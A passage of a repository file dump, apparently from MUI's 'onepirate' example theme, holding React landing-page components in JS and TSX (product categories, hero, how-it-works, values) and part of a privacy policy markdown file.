image.width,\n            }}\n          >\n            <Box\n              sx={{\n                position: 'absolute',\n                left: 0,\n                right: 0,\n                top: 0,\n                bottom: 0,\n                backgroundSize: 'cover',\n                backgroundPosition: 'center 40%',\n                backgroundImage: `url(${image.url})`,\n              }}\n            />\n            <ImageBackdrop className=\"imageBackdrop\" />\n            <Box\n              sx={{\n                position: 'absolute',\n                left: 0,\n                right: 0,\n                top: 0,\n                bottom: 0,\n                display: 'flex',\n                alignItems: 'center',\n                justifyContent: 'center',\n                color: 'common.white',\n              }}\n            >\n              <Typography\n                component=\"h3\"\n                variant=\"h6\"\n                className=\"imageTitle\"\n                sx={{ color: 'inherit' }}\n              >\n                {image.title}\n                <div className=\"imageMarked\" />\n              </Typography>\n            </Box>\n          </ImageIconButton>\n        ))}\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductCategories.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport Container from '@mui/material/Container';\nimport Typography from '../components/Typography';\n\nconst ImageBackdrop = styled('div')(({ theme }) => ({\n  position: 'absolute',\n  left: 0,\n  right: 0,\n  top: 0,\n  bottom: 0,\n  background: '#000',\n  opacity: 0.5,\n  transition: theme.transitions.create('opacity'),\n}));\n\nconst ImageIconButton = styled(ButtonBase)(({ theme }) => ({\n  position: 'relative',\n  display: 'block',\n  padding: 0,\n  borderRadius: 0,\n  height: '40vh',\n  [theme.breakpoints.down('md')]: {\n    width: '100% !important',\n    height: 100,\n  },\n  '&:hover': {\n    zIndex: 1,\n  },\n  '&:hover .imageBackdrop': {\n    opacity: 0.15,\n  },\n  '&:hover .imageMarked': {\n    opacity: 0,\n  },\n  '&:hover .imageTitle': {\n    border: '4px solid currentColor',\n  },\n  '& .imageTitle': {\n    position: 'relative',\n    padding: `${theme.spacing(2)} ${theme.spacing(4)} 14px`,\n  },\n  '& .imageMarked': {\n    height: 3,\n    width: 18,\n    background: theme.palette.common.white,\n    position: 'absolute',\n    bottom: -2,\n    left: 'calc(50% - 9px)',\n    transition: theme.transitions.create('opacity'),\n  },\n}));\n\nconst images = [\n  {\n    url: 'https://images.unsplash.com/photo-1534081333815-ae5019106622?auto=format&fit=crop&w=400',\n    title: 'Snorkeling',\n    width: '40%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1531299204812-e6d44d9a185c?auto=format&fit=crop&w=400',\n    title: 'Massage',\n    width: '20%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1476480862126-209bfaa8edc8?auto=format&fit=crop&w=400',\n    title: 'Hiking',\n    width: '40%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1453747063559-36695c8771bd?auto=format&fit=crop&w=400',\n    title: 'Tour',\n    width: '38%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1523309996740-d5315f9cc28b?auto=format&fit=crop&w=400',\n    title: 'Gastronomy',\n    width: '38%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1534452203293-494d7ddbf7e0?auto=format&fit=crop&w=400',\n    title: 'Shopping',\n    width: '24%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1506941433945-99a2aa4bd50a?auto=format&fit=crop&w=400',\n    title: 'Walking',\n    width: '40%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1533727937480-da3a97967e95?auto=format&fit=crop&w=400',\n    title: 'Fitness',\n    width: '20%',\n  },\n  {\n    url: 'https://images.unsplash.com/photo-1518136247453-74e7b5265980?auto=format&fit=crop&w=400',\n    title: 'Reading',\n    width: '40%',\n  },\n];\n\nexport default function ProductCategories() {\n  return (\n    <Container component=\"section\" sx={{ mt: 8, mb: 4 }}>\n      <Typography variant=\"h4\" marked=\"center\" align=\"center\" component=\"h2\">\n        For all tastes and all desires\n      </Typography>\n      <Box sx={{ mt: 8, display: 'flex', flexWrap: 'wrap' }}>\n        {images.map((image) => (\n          <ImageIconButton\n            key={image.title}\n            style={{\n              width: image.width,\n            }}\n          >\n            <Box\n              sx={{\n                position: 'absolute',\n                left: 0,\n                right: 0,\n                top: 0,\n                bottom: 0,\n                backgroundSize: 'cover',\n                backgroundPosition: 'center 40%',\n                backgroundImage: `url(${image.url})`,\n              }}\n            />\n            <ImageBackdrop className=\"imageBackdrop\" />\n            <Box\n              sx={{\n                position: 'absolute',\n                left: 0,\n                right: 0,\n                top: 0,\n                bottom: 0,\n                display: 'flex',\n                alignItems: 'center',\n                justifyContent: 'center',\n                color: 'common.white',\n              }}\n            >\n              <Typography\n                component=\"h3\"\n                variant=\"h6\"\n                className=\"imageTitle\"\n                sx={{ color: 'inherit' }}\n              >\n                {image.title}\n                <div className=\"imageMarked\" />\n              </Typography>\n            </Box>\n          </ImageIconButton>\n        ))}\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductHero.js",
    "content": "import Button from '../components/Button';\nimport Typography from '../components/Typography';\nimport ProductHeroLayout from './ProductHeroLayout';\n\nconst backgroundImage =\n  'https://images.unsplash.com/photo-1534854638093-bada1813ca19?auto=format&fit=crop&w=1400';\n\nexport default function ProductHero() {\n  return (\n    <ProductHeroLayout\n      sxBackground={{\n        backgroundImage: `url(${backgroundImage})`,\n        backgroundColor: '#7fc7d9', // Average color of the background image.\n        backgroundPosition: 'center',\n      }}\n    >\n      {/* Increase the network loading priority of the background image. */}\n      <img\n        style={{ display: 'none' }}\n        src={backgroundImage}\n        alt=\"increase priority\"\n      />\n      <Typography\n        align=\"center\"\n        variant=\"h2\"\n        marked=\"center\"\n        sx={{ color: 'inherit' }}\n      >\n        Upgrade your Sundays\n      </Typography>\n      <Typography\n        align=\"center\"\n        variant=\"h5\"\n        sx={{ color: 'inherit', mb: 4, mt: { xs: 4, sm: 10 } }}\n      >\n        Enjoy secret offers up to -70% off the best luxury hotels every Sunday.\n      </Typography>\n      <Button\n        color=\"secondary\"\n        variant=\"contained\"\n        size=\"large\"\n        component=\"a\"\n        href=\"/premium-themes/onepirate/sign-up/\"\n        sx={{ minWidth: 200 }}\n      >\n        Register\n      </Button>\n      <Typography variant=\"body2\" sx={{ color: 'inherit', mt: 2 }}>\n        Discover the experience\n      </Typography>\n    </ProductHeroLayout>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductHero.tsx",
    "content": "import Button from '../components/Button';\nimport Typography from '../components/Typography';\nimport ProductHeroLayout from './ProductHeroLayout';\n\nconst backgroundImage =\n  'https://images.unsplash.com/photo-1534854638093-bada1813ca19?auto=format&fit=crop&w=1400';\n\nexport default function ProductHero() {\n  return (\n    <ProductHeroLayout\n      sxBackground={{\n        backgroundImage: `url(${backgroundImage})`,\n        backgroundColor: '#7fc7d9', // Average color of the background image.\n        backgroundPosition: 'center',\n      }}\n    >\n      {/* Increase the network loading priority of the background image. */}\n      <img\n        style={{ display: 'none' }}\n        src={backgroundImage}\n        alt=\"increase priority\"\n      />\n      <Typography\n        align=\"center\"\n        variant=\"h2\"\n        marked=\"center\"\n        sx={{ color: 'inherit' }}\n      >\n        Upgrade your Sundays\n      </Typography>\n      <Typography\n        align=\"center\"\n        variant=\"h5\"\n        sx={{ color: 'inherit', mb: 4, mt: { xs: 4, sm: 10 } }}\n      >\n        Enjoy secret offers up to -70% off the best luxury hotels every Sunday.\n      </Typography>\n      <Button\n        color=\"secondary\"\n        variant=\"contained\"\n        size=\"large\"\n        component=\"a\"\n        href=\"/premium-themes/onepirate/sign-up/\"\n        sx={{ minWidth: 200 }}\n      >\n        Register\n      </Button>\n      <Typography variant=\"body2\" sx={{ color: 'inherit', mt: 2 }}>\n        Discover the experience\n      </Typography>\n    </ProductHeroLayout>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductHeroLayout.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled } from '@mui/material/styles';\n\nimport Container from '@mui/material/Container';\nimport Box from '@mui/material/Box';\n\nconst ProductHeroLayoutRoot = styled('section')(({ theme }) => ({\n  color: theme.palette.common.white,\n  position: 'relative',\n  display: 'flex',\n  alignItems: 'center',\n  [theme.breakpoints.up('sm')]: {\n    height: '80vh',\n    minHeight: 500,\n    maxHeight: 1300,\n  },\n}));\n\nconst Background = styled('div')({\n  position: 'absolute',\n  left: 0,\n  right: 0,\n  top: 0,\n  bottom: 0,\n  backgroundSize: 'cover',\n  backgroundRepeat: 'no-repeat',\n  zIndex: -2,\n});\n\nfunction ProductHeroLayout(props) {\n  const { sxBackground, children } = props;\n\n  return (\n    <ProductHeroLayoutRoot>\n      <Container\n        sx={{\n          mt: 3,\n          mb: 14,\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n        }}\n      >\n        <img\n          src=\"/static/themes/onepirate/productHeroWonder.png\"\n          alt=\"wonder\"\n          width=\"147\"\n          height=\"80\"\n        />\n        {children}\n        <Box\n          sx={{\n            position: 'absolute',\n            left: 0,\n            right: 0,\n            top: 0,\n            bottom: 0,\n            backgroundColor: 'common.black',\n            opacity: 0.5,\n            zIndex: -1,\n          }}\n        />\n        <Background sx={sxBackground} />\n        <Box\n          component=\"img\"\n          src=\"/static/themes/onepirate/productHeroArrowDown.png\"\n          alt=\"arrow down\"\n          sx={{ height: '16', width: '12', position: 'absolute', bottom: 32 }}\n        />\n      </Container>\n    </ProductHeroLayoutRoot>\n  );\n}\n\nProductHeroLayout.propTypes = {\n  children: PropTypes.node,\n  sxBackground: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default ProductHeroLayout;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductHeroLayout.tsx",
    "content": "import * as React from 'react';\nimport { Theme, styled } from '@mui/material/styles';\nimport { SxProps } from '@mui/system';\nimport Container from '@mui/material/Container';\nimport Box from '@mui/material/Box';\n\nconst ProductHeroLayoutRoot = styled('section')(({ theme }) => ({\n  color: theme.palette.common.white,\n  position: 'relative',\n  display: 'flex',\n  alignItems: 'center',\n  [theme.breakpoints.up('sm')]: {\n    height: '80vh',\n    minHeight: 500,\n    maxHeight: 1300,\n  },\n}));\n\nconst Background = styled('div')({\n  position: 'absolute',\n  left: 0,\n  right: 0,\n  top: 0,\n  bottom: 0,\n  backgroundSize: 'cover',\n  backgroundRepeat: 'no-repeat',\n  zIndex: -2,\n});\n\ninterface ProductHeroLayoutProps {\n  sxBackground: SxProps<Theme>;\n}\n\nexport default function ProductHeroLayout(\n  props: React.HTMLAttributes<HTMLDivElement> & ProductHeroLayoutProps,\n) {\n  const { sxBackground, children } = props;\n\n  return (\n    <ProductHeroLayoutRoot>\n      <Container\n        sx={{\n          mt: 3,\n          mb: 14,\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n        }}\n      >\n        <img\n          src=\"/static/themes/onepirate/productHeroWonder.png\"\n          alt=\"wonder\"\n          width=\"147\"\n          height=\"80\"\n        />\n        {children}\n        <Box\n          sx={{\n            position: 'absolute',\n            left: 0,\n            right: 0,\n            top: 0,\n            bottom: 0,\n            backgroundColor: 'common.black',\n            opacity: 0.5,\n            zIndex: -1,\n          }}\n        />\n        <Background sx={sxBackground} />\n        <Box\n          component=\"img\"\n          src=\"/static/themes/onepirate/productHeroArrowDown.png\"\n          alt=\"arrow down\"\n          sx={{ height: '16', width: '12', position: 'absolute', bottom: 32 }}\n        />\n      </Container>\n    </ProductHeroLayoutRoot>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductHowItWorks.js",
    "content": "import Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Container from '@mui/material/Container';\nimport Button from '../components/Button';\nimport Typography from '../components/Typography';\n\nconst item = {\n  display: 'flex',\n  flexDirection: 'column',\n  alignItems: 'center',\n  px: 5,\n};\n\nconst number = {\n  fontSize: 24,\n  fontFamily: 'default',\n  color: 'secondary.main',\n  fontWeight: 'medium',\n};\n\nconst image = {\n  height: 55,\n  my: 4,\n};\n\nfunction ProductHowItWorks() {\n  return (\n    <Box\n      component=\"section\"\n      sx={{ display: 'flex', bgcolor: 'secondary.light', overflow: 'hidden' }}\n    >\n      <Container\n        sx={{\n          mt: 10,\n          mb: 15,\n          position: 'relative',\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n        }}\n      >\n        <Box\n          component=\"img\"\n          src=\"/static/themes/onepirate/productCurvyLines.png\"\n          alt=\"curvy lines\"\n          sx={{\n            pointerEvents: 'none',\n            position: 'absolute',\n            top: -180,\n            opacity: 0.7,\n          }}\n        />\n        <Typography variant=\"h4\" marked=\"center\" component=\"h2\" sx={{ mb: 14 }}>\n          How it works\n        </Typography>\n        <div>\n          <Grid container spacing={5}>\n            <Grid size={{ xs: 12, md: 4 }}>\n              <Box sx={item}>\n                <Box sx={number}>1.</Box>\n                <Box\n                  component=\"img\"\n                  src=\"/static/themes/onepirate/productHowItWorks1.svg\"\n                  alt=\"suitcase\"\n                  sx={image}\n                />\n                <Typography variant=\"h5\" align=\"center\">\n                  Appointment every Wednesday 9am.\n                </Typography>\n              </Box>\n            </Grid>\n            <Grid size={{ xs: 12, md: 4 }}>\n              <Box sx={item}>\n                <Box sx={number}>2.</Box>\n                <Box\n                  component=\"img\"\n                  src=\"/static/themes/onepirate/productHowItWorks2.svg\"\n                  alt=\"graph\"\n                  sx={image}\n                />\n                <Typography variant=\"h5\" align=\"center\">\n                  First come, first served. Our offers are in limited quantities, so\n                  be quick.\n                </Typography>\n              </Box>\n            </Grid>\n            <Grid size={{ xs: 12, md: 4 }}>\n              <Box sx={item}>\n                <Box sx={number}>3.</Box>\n                <Box\n                  component=\"img\"\n                  src=\"/static/themes/onepirate/productHowItWorks3.svg\"\n                  alt=\"clock\"\n                  sx={image}\n                />\n                <Typography variant=\"h5\" align=\"center\">\n                  {'New offers every week. New experiences, new surprises. '}\n                  {'Your Sundays will no longer be alike.'}\n                </Typography>\n              </Box>\n            </Grid>\n          </Grid>\n        </div>\n        <Button\n          color=\"secondary\"\n          size=\"large\"\n          variant=\"contained\"\n          component=\"a\"\n          href=\"/premium-themes/onepirate/sign-up/\"\n          sx={{ mt: 8 }}\n        >\n          Get started\n        </Button>\n      </Container>\n    </Box>\n  );\n}\n\nexport default ProductHowItWorks;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductHowItWorks.tsx",
    "content": "import { Theme } from '@mui/material/styles';\nimport { SxProps } from '@mui/system';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Container from '@mui/material/Container';\nimport Button from '../components/Button';\nimport Typography from '../components/Typography';\n\nconst item: SxProps<Theme> = {\n  display: 'flex',\n  flexDirection: 'column',\n  alignItems: 'center',\n  px: 5,\n};\n\nconst number = {\n  fontSize: 24,\n  fontFamily: 'default',\n  color: 'secondary.main',\n  fontWeight: 'medium',\n};\n\nconst image = {\n  height: 55,\n  my: 4,\n};\n\nfunction ProductHowItWorks() {\n  return (\n    <Box\n      component=\"section\"\n      sx={{ display: 'flex', bgcolor: 'secondary.light', overflow: 'hidden' }}\n    >\n      <Container\n        sx={{\n          mt: 10,\n          mb: 15,\n          position: 'relative',\n          display: 'flex',\n          flexDirection: 'column',\n          alignItems: 'center',\n        }}\n      >\n        <Box\n          component=\"img\"\n          src=\"/static/themes/onepirate/productCurvyLines.png\"\n          alt=\"curvy lines\"\n          sx={{\n            pointerEvents: 'none',\n            position: 'absolute',\n            top: -180,\n            opacity: 0.7,\n          }}\n        />\n        <Typography variant=\"h4\" marked=\"center\" component=\"h2\" sx={{ mb: 14 }}>\n          How it works\n        </Typography>\n        <div>\n          <Grid container spacing={5}>\n            <Grid size={{ xs: 12, md: 4 }}>\n              <Box sx={item}>\n                <Box sx={number}>1.</Box>\n                <Box\n                  component=\"img\"\n                  src=\"/static/themes/onepirate/productHowItWorks1.svg\"\n                  alt=\"suitcase\"\n                  sx={image}\n                />\n                <Typography variant=\"h5\" align=\"center\">\n                  Appointment every Wednesday 9am.\n                </Typography>\n              </Box>\n            </Grid>\n            <Grid size={{ xs: 12, md: 4 }}>\n              <Box sx={item}>\n                <Box sx={number}>2.</Box>\n                <Box\n                  component=\"img\"\n                  src=\"/static/themes/onepirate/productHowItWorks2.svg\"\n                  alt=\"graph\"\n                  sx={image}\n                />\n                <Typography variant=\"h5\" align=\"center\">\n                  First come, first served. Our offers are in limited quantities, so\n                  be quick.\n                </Typography>\n              </Box>\n            </Grid>\n            <Grid size={{ xs: 12, md: 4 }}>\n              <Box sx={item}>\n                <Box sx={number}>3.</Box>\n                <Box\n                  component=\"img\"\n                  src=\"/static/themes/onepirate/productHowItWorks3.svg\"\n                  alt=\"clock\"\n                  sx={image}\n                />\n                <Typography variant=\"h5\" align=\"center\">\n                  {'New offers every week. New experiences, new surprises. '}\n                  {'Your Sundays will no longer be alike.'}\n                </Typography>\n              </Box>\n            </Grid>\n          </Grid>\n        </div>\n        <Button\n          color=\"secondary\"\n          size=\"large\"\n          variant=\"contained\"\n          component=\"a\"\n          href=\"/premium-themes/onepirate/sign-up/\"\n          sx={{ mt: 8 }}\n        >\n          Get started\n        </Button>\n      </Container>\n    </Box>\n  );\n}\n\nexport default ProductHowItWorks;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductSmokingHero.js",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Container from '@mui/material/Container';\nimport Typography from '../components/Typography';\n\nfunction ProductSmokingHero() {\n  return (\n    <Container\n      component=\"section\"\n      sx={{ display: 'flex', flexDirection: 'column', alignItems: 'center', my: 9 }}\n    >\n      <Button\n        sx={{\n          border: '4px solid currentColor',\n          borderRadius: 0,\n          height: 'auto',\n          py: 2,\n          px: 5,\n        }}\n      >\n        <Typography variant=\"h4\" component=\"span\">\n          Got any questions? Need help?\n        </Typography>\n      </Button>\n      <Typography variant=\"subtitle1\" sx={{ my: 3 }}>\n        We are here to help. Get in touch!\n      </Typography>\n      <Box\n        component=\"img\"\n        src=\"/static/themes/onepirate/productBuoy.svg\"\n        alt=\"buoy\"\n        sx={{ width: 60 }}\n      />\n    </Container>\n  );\n}\n\nexport default ProductSmokingHero;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductSmokingHero.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Container from '@mui/material/Container';\nimport Typography from '../components/Typography';\n\nfunction ProductSmokingHero() {\n  return (\n    <Container\n      component=\"section\"\n      sx={{ display: 'flex', flexDirection: 'column', alignItems: 'center', my: 9 }}\n    >\n      <Button\n        sx={{\n          border: '4px solid currentColor',\n          borderRadius: 0,\n          height: 'auto',\n          py: 2,\n          px: 5,\n        }}\n      >\n        <Typography variant=\"h4\" component=\"span\">\n          Got any questions? Need help?\n        </Typography>\n      </Button>\n      <Typography variant=\"subtitle1\" sx={{ my: 3 }}>\n        We are here to help. Get in touch!\n      </Typography>\n      <Box\n        component=\"img\"\n        src=\"/static/themes/onepirate/productBuoy.svg\"\n        alt=\"buoy\"\n        sx={{ width: 60 }}\n      />\n    </Container>\n  );\n}\n\nexport default ProductSmokingHero;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductValues.js",
    "content": "import Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Container from '@mui/material/Container';\nimport Typography from '../components/Typography';\n\nconst item = {\n  display: 'flex',\n  flexDirection: 'column',\n  alignItems: 'center',\n  px: 5,\n};\n\nfunction ProductValues() {\n  return (\n    <Box\n      component=\"section\"\n      sx={{ display: 'flex', overflow: 'hidden', bgcolor: 'secondary.light' }}\n    >\n      <Container sx={{ mt: 15, mb: 30, display: 'flex', position: 'relative' }}>\n        <Box\n          component=\"img\"\n          src=\"/static/themes/onepirate/productCurvyLines.png\"\n          alt=\"curvy lines\"\n          sx={{ pointerEvents: 'none', position: 'absolute', top: -180 }}\n        />\n        <Grid container spacing={5}>\n          <Grid size={{ xs: 12, md: 4 }}>\n            <Box sx={item}>\n              <Box\n                component=\"img\"\n                src=\"/static/themes/onepirate/productValues1.svg\"\n                alt=\"suitcase\"\n                sx={{ height: 55 }}\n              />\n              <Typography variant=\"h6\" sx={{ my: 5 }}>\n                The best luxury hotels\n              </Typography>\n              <Typography variant=\"h5\">\n                {\n                  'From the latest trendy boutique hotel to the iconic palace with XXL pool'\n                }\n                {\n                  ', go for a mini-vacation just a few subway stops away from your home.'\n                }\n              </Typography>\n            </Box>\n          </Grid>\n          <Grid size={{ xs: 12, md: 4 }}>\n            <Box sx={item}>\n              <Box\n                component=\"img\"\n                src=\"/static/themes/onepirate/productValues2.svg\"\n                alt=\"graph\"\n                sx={{ height: 55 }}\n              />\n              <Typography variant=\"h6\" sx={{ my: 5 }}>\n                New experiences\n              </Typography>\n              <Typography variant=\"h5\">\n                {\n                  'Privatize a pool, take a Japanese bath or wake up in 900m2 of garden… '\n                }\n                {'your Sundays will not be alike.'}\n              </Typography>\n            </Box>\n          </Grid>\n          <Grid size={{ xs: 12, md: 4 }}>\n            <Box sx={item}>\n              <Box\n                component=\"img\"\n                src=\"/static/themes/onepirate/productValues3.svg\"\n                alt=\"clock\"\n                sx={{ height: 55 }}\n              />\n              <Typography variant=\"h6\" sx={{ my: 5 }}>\n                Exclusive rates\n              </Typography>\n              <Typography variant=\"h5\">\n                {'By registering, you will access specially negotiated rates '}\n                {'that you will not find anywhere else.'}\n              </Typography>\n            </Box>\n          </Grid>\n        </Grid>\n      </Container>\n    </Box>\n  );\n}\n\nexport default ProductValues;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/ProductValues.tsx",
    "content": "import { Theme } from '@mui/material/styles';\nimport { SxProps } from '@mui/system';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Container from '@mui/material/Container';\nimport Typography from '../components/Typography';\n\nconst item: SxProps<Theme> = {\n  display: 'flex',\n  flexDirection: 'column',\n  alignItems: 'center',\n  px: 5,\n};\n\nfunction ProductValues() {\n  return (\n    <Box\n      component=\"section\"\n      sx={{ display: 'flex', overflow: 'hidden', bgcolor: 'secondary.light' }}\n    >\n      <Container sx={{ mt: 15, mb: 30, display: 'flex', position: 'relative' }}>\n        <Box\n          component=\"img\"\n          src=\"/static/themes/onepirate/productCurvyLines.png\"\n          alt=\"curvy lines\"\n          sx={{ pointerEvents: 'none', position: 'absolute', top: -180 }}\n        />\n        <Grid container spacing={5}>\n          <Grid size={{ xs: 12, md: 4 }}>\n            <Box sx={item}>\n              <Box\n                component=\"img\"\n                src=\"/static/themes/onepirate/productValues1.svg\"\n                alt=\"suitcase\"\n                sx={{ height: 55 }}\n              />\n              <Typography variant=\"h6\" sx={{ my: 5 }}>\n                The best luxury hotels\n              </Typography>\n              <Typography variant=\"h5\">\n                {\n                  'From the latest trendy boutique hotel to the iconic palace with XXL pool'\n                }\n                {\n                  ', go for a mini-vacation just a few subway stops away from your home.'\n                }\n              </Typography>\n            </Box>\n          </Grid>\n          <Grid size={{ xs: 12, md: 4 }}>\n            <Box sx={item}>\n              <Box\n                component=\"img\"\n                src=\"/static/themes/onepirate/productValues2.svg\"\n                alt=\"graph\"\n                sx={{ height: 55 }}\n              />\n              <Typography variant=\"h6\" sx={{ my: 5 }}>\n                New experiences\n              </Typography>\n              <Typography variant=\"h5\">\n                {\n                  'Privatize a pool, take a Japanese bath or wake up in 900m2 of garden… '\n                }\n                {'your Sundays will not be alike.'}\n              </Typography>\n            </Box>\n          </Grid>\n          <Grid size={{ xs: 12, md: 4 }}>\n            <Box sx={item}>\n              <Box\n                component=\"img\"\n                src=\"/static/themes/onepirate/productValues3.svg\"\n                alt=\"clock\"\n                sx={{ height: 55 }}\n              />\n              <Typography variant=\"h6\" sx={{ my: 5 }}>\n                Exclusive rates\n              </Typography>\n              <Typography variant=\"h5\">\n                {'By registering, you will access specially negotiated rates '}\n                {'that you will not find anywhere else.'}\n              </Typography>\n            </Box>\n          </Grid>\n        </Grid>\n      </Container>\n    </Box>\n  );\n}\n\nexport default ProductValues;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/views/privacy.md",
    "content": "<!-- markdownlint-capture -->\n<!-- markdownlint-disable -->\n\nLast modified: October 7th, 2018.\n\n<!-- markdownlint-restore -->\n\nMUI is committed to protecting and respecting your privacy. This Privacy Policy sets out how we collect and process personal information about you when you visit the website mui.com, when you use our products and services (our \"Services\"), or when you otherwise do business or make contact with us.\n\nPlease read this policy carefully to understand how we handle and treat your personal information.\n\n## What information do we collect?\n\nWe may collect and process the following personal information from you:\n\n- **Information you provide to us:** We collect personal information when you voluntarily provide us with such information in the course of using our website or Services. For example, when you register to use our Services, we will collect your name, email address and organization information. We also collect personal information from you when you subscribe to our newsletter, or respond to a survey. If you make an inquiry through our website, or contact us in any other way, we will keep a copy of your communications with us.\n- **Information we collect when you do business with us:** We may process your personal information when you do business with us – for example, as a customer or prospective customer, or as a vendor, supplier, consultant or other third party. For example, we may hold your business contact information and financial account information (if any) and other communications you have with us for the purposes of maintaining our business relations with you.\n- **Information we automatically collect:** We may also collect certain technical information by automatic means when you visit our website, such as IP address, browser type and operating system, referring URLs, your use of our website, and other clickstream data. We collect this information automatically through the use of various technologies, such as cookies.\n- **Personal information where we act as a data processor:** We also process personal information on behalf of our customers in the context of supporting our products and services. Where a customer subscribes to our Services for their website, game or app, they will be the ones who control what event data is collected and stored on our systems. For example, they may ask us to log basic user data (for example email address or username), device identifiers, IP addresses, event type, and related source code. In such cases, we are data processors acting in accordance with the instructions of our customers. You will need to refer to the privacy policies of our customers to find out more about how such information is handled by them.\n\n## What do we use your information for?\n\nThe personal information we collect from you may be used in one of the following ways:\n\n- To deal with your inquiries and requests\n- To create and administer records about any online account that you register with us\n- To provide you with information and access to resources that you have requested from us\n- To provide you with technical support (your information helps us to better respond to your individual needs)\n- To improve our website (we continually strive to improve our website offerings based on the information and feedback we receive from you), including to improve the navigation and content of our sites\n- For website and system administration and security\n- For general business purposes, including to improve customer service (your information helps us to more effectively respond to your customer service requests and support needs), to help us improve the content and functionality of our Services, to better understand our users, to protect against wrongdoing, to enforce our Terms of Service, and to generally manage our business\n- To process transactions and to provide Services to our customers and end-users\n- For recruitment purposes, where you apply for a job with us\n- To administer a contest, promotion, survey, or other site features\n- To send periodic emails. The email address you provide for order processing, will only be used to send you information and updates pertaining to your order. Where it is in accordance with your marketing preferences, we will send occasional marketing emails about our products and services, which you can unsubscribe from at any time using the link provided in the message.\n\n## How do we protect your information?\n\nWe implement a variety of security measures to maintain the safety of your personal information when you enter, submit, or access your personal information. We offer the use of a secure server. All supplied sensitive/credit information is transmitted via Secure Socket Layer (SSL) technology and then encrypted into our Payment gateway providers database only to be accessible by those authorized with special access rights to such systems, and are required to keep the information confidential. After a transaction, your private information (credit cards, social security numbers, financials, etc.) will not be stored on our servers.\n\n## Do we use cookies?\n\nYes. Cookies are small files that a site or its service provider transfers to your computers hard drive through your Web browser (if you allow) that enables the sites or service providers systems to recognize your browser and capture and remember certain information.\n\nWe use cookies to understand and save your preferences for future visits, to advertise to you on other sites and compile aggregate data about site traffic and site interaction so that we can offer better site experiences and tools in the future.\n\nYou may refuse to accept cookies by activating the setting on your browser which allows you to refuse the setting of cookies. You can find information on popular browsers and how to adjust your cookie preferences at the following websites:\n\n- Microsoft Internet Explorer\n- Mozilla Firefox\n- Google Chrome\n- Apple Safari\n\nHowever, if you choose to disable cookies, you may be unable to access certain parts of our site. Unless you have adjusted your browser setting so that it will refuse cookies, our system will issue cookies when you log on to our site.\n\n## Do we disclose any information to outside parties?\n\nWe will only share your information with third parties in certain circumstances:\n\n- We engage certain trusted third parties to perform functions and provide services to us, including cloud hosting services, off-site backups, email service providers, and customer support providers. We will only share your personal information with third parties to the extent necessary to perform these functions, in accordance with the purposes set out in this Privacy Policy and applicable laws.\n- In the event of a corporate sale, merger, reorganization, dissolution or similar event, your personal information may be sold, disposed of, transferred or otherwise disclosed as part of that transaction.\n- We may also disclose information about you to third parties where we believe it necessary or appropriate under law, for example: (1) to protect or defend our rights, interests or property or that of third parties; (2) to comply with legal process, judicial orders or subpoenas; (3) to respond to requests from public or government authorities, including for national security and law enforcement purposes; (4) to prevent or investigate possible wrongdoing in connection with the Services or to enforce our Terms of Service; (5) to protect the vital interests of our users, customers and other third parties.\n- We may use and share aggregated non-personal information with third parties for marketing, advertising and analytics purposes.\n\nWe do not sell or trade your personal information to third parties.\n\n## Third Party Links\n\nOccasionally, at our discretion, we may include or offer third party products or services on our website. If you access other websites using the links provided, the operators of these websites may collect information from you that will be used by them in accordance with their privacy policies. These third party sites have separate and independent privacy policies. We therefore have no responsibility or liability for the content and activities of these linked sites. Nonetheless, we seek to protect the integrity of our site and welcome any feedback about these sites.\n\n## International Transfers\n\nIf you are visiting our website or using our Services from outside the United States (US), please be aware that you are sending personal information to the US where our servers are located. The US may not have data protection laws that are as comprehensive or protective as those in your country of residence; however, our collection, storage and use of your personal information will at all times be in accordance with this Privacy Policy.\n\n## Your Rights\n\nIf you are from the EU, you may have the right to access a copy of the personal information we hold about you, or to request the correction, amendment or deletion of such information where it is inaccurate or processed in violation of the Privacy Shield Principles. To make such a request, please contact us at the contact details at the left.\n\nWe will consider and respond to your request in accordance with the Privacy Shield Principles and applicable laws.\n\nFurthermore, we commit to giving you an opportunity to opt-out if your personal information is to be disclosed to any other independent third 